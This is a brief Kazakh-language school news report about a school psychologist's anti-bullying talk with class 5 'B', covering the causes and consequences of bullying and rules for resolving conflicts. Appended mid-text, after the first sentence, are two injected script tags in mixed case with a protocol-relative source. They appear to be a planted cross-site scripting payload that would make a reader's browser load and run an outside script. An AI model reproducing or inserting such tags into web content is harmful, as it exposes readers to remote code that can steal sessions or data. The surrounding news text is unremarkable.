Оқушылар арасында қорқыту жағдайларын болдырмау мақсатында мектеп психологы А. Н. Ботаева 5 " б " сыныпта профилактикалық әңгіме өткізді<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

"мектептегі қорқыту: себептері, салдары, көмегі" тақырыбында. Оның барысында олар "мектептегі қорқыту" ұғымының мәнін ашты, қорқытудың қандай компоненттері бар екенін, оның түрлерін, себептері мен салдарын анықтады. Сондай-ақ ұжымды біріктіру, сыныптағы жанжалдардың алдын алу үшін практикалық жаттығулар ұсынылды. Оқушылар арасындағы жанжалдарды сындарлы шешудің ережелері мен тетіктері туралы ұсыныстар берілді. Оқушылар сабақтың соңында оң пікірлермен өткізілген әңгіменің маңыздылығын бағалады.